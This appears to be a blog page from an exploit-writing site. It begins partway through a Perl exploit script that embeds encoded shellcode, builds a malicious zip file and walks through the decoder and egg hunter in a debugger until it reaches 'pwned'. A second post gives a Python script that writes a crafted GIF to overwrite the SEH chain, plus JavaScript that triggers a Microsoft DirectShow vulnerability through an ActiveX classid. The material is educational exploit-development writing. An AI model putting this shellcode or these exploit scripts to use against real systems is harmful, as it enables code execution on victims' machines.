"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

After the custom decoder finishes reproducing the original code, we can see that it has nicely written the code a few bytes below the end of the decoder (see screenshot below, reproduced code can be found at 0x0013F8E4)

Conveniently, the INC ECX instructions (A’s) between the end of the decoder and the reproduced bytecode, will act as a nop here. So when the decoder has finished, it will execute a bunch of harmless inc ecx instructions, and will eventually execute the sub edx,35E  and jmp edx instructions.

image

Step through until the jmp edx instruction.  Don’t make the jump yet, just verify that EDX now points at the start of the egg hunter :

image

That looks fine. 

If you now press F9, the egg hunter should run, locate the shellcode, and execute it :

image

pwned !

 

 

About the author

head1_thumb636_thumb[1]Peter Van Eeckhoutte (a.k.a. “corelanc0d3r”) has been working in IT System Engineering and Security since 1997. He currently serves as IT Infrastructure Manager and Security Officer for a large European company.

He is owner of the Corelan Blog, author of several exploit writing tutorials, a variety of free tools, maintains/moderates an exploit writing forum, and founder of the Corelan Team, which is a group of people that share the same interests : gathering and sharing knowledge.

Peter is 35 years old and currently lives in Deerlijk, Belgium.  You can follow him on twitter or reach him via peter dot ve [at] corelan {dot} be. 

 

Thanks to

My buddies at Corelan Team, my friends all over the world, and of course Shahin Ramezany for giving me the opportunity to publish this article on the abysssec.com website.

(oh … and by the way Shahin : I’m really sorry I ruined your game last night – sorry bro ;-) )

Microsft Directshow and MPEG-2 Exploitation

hello we are really sorry for too late updates.

but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and now exploit is  available in the wild.

anyway here is orginal advisory  (another good vulnerability from alex wheeler):

http://www.microsoft.com/technet/security/advisory/972890.mspx

this vulnerability can be exploit using  varient browser exploitation method like Heap Spray.

and flowing simple script can trigger vulnerabilty :

#!/usr/bin/python
import sys , os
 
gif =  "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif += "\xFF\xFF\xFF\xFF"    # End of SEH chain
gif += "\x41\x41\x41\x41"    # SE Handler
gif += "\x00"
 
fp = open("directshow.gif","wb")
fp.write(gif)
fp.close()
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='directshow.gif;
// Vulnerable ID
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

here you can see overwritten SEH

and here you can see Spared Heap

finally as you can see here we got a shell

using methods like java-script obfuscation and shirking variables can make this exploit more dangerous . and you can find this exploit at :

http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/browser/msvidctl_mpeg2.rb

and:

http://milw0rm.com/exploits/9108

Happy Hunting.

PS : i will try to have a technical post soon as soon possible

Cheers .

shahin

Categories


Get Adobe Flash player